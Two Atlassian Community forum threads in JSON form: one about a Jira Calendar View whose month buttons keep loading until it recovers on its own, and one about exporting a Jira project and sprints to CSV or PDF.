{ "author": "Nh?t ??ng L?", "title": "The Calendar View is not working as expected", "body": "In Calendar View: \nI cannot select the \"Previous month\" or \"Next month\", these 2 buttons keep loading. \nIf I apply any filters, I won't be able to click to open any issues, and it does not show the full issue as I hover over the issues. \n\nI tried to sign out and log in again, clearing the cookies and caches, but none of these work.\n\nPlease advise how I can fix this.\n" }

[ { "author": "John Funk", "body": "Hi [@Nh?t ??ng L?](/t5/user/viewprofilepage/user-id/5399451) - Welcome to the Atlassian Community!\n\nHave you tried a different browser or tried it with Incognito mode?\n", "comments": [ { "author": "Nh?t ??ng L?", "body": "Hey John, thanks for your help. It's been back to normal without me doing anything :D. I guess it's just a temporary issue for Jira.\n" }, { "author": "John Funk", "body": "Good - glad to hear!\n" } ] } ]

[ "cloud", "jira-work-management-cloud" ]

{ "author": "DrArwa Alageell", "title": "export jira project to print or doucument", "body": "hello\n\nI would like to check how can I export the project and sprints to a print or document\n" }

[ { "author": "Cristian IONESCU", "body": "Hi Drarwa,\n\nYou can export issues related to a specific project or sprint by filtering the issues, then selecting **Export \\> CSV (All Fields or Current Fields)** from the Issue Navigator. Once in CSV format, you can open it in Excel and create reports or print the document.\n\nYou can export project details like backlog and sprint overviews using third-party plugins such as **PDF Exporter for Jira** or **Better PDF Exporter**. These tools allow you to format and customize the export with summaries, charts, and custom fields.\n\nHope this helps\n", "comments": null } ]

[ "cloud", "jira-software" ]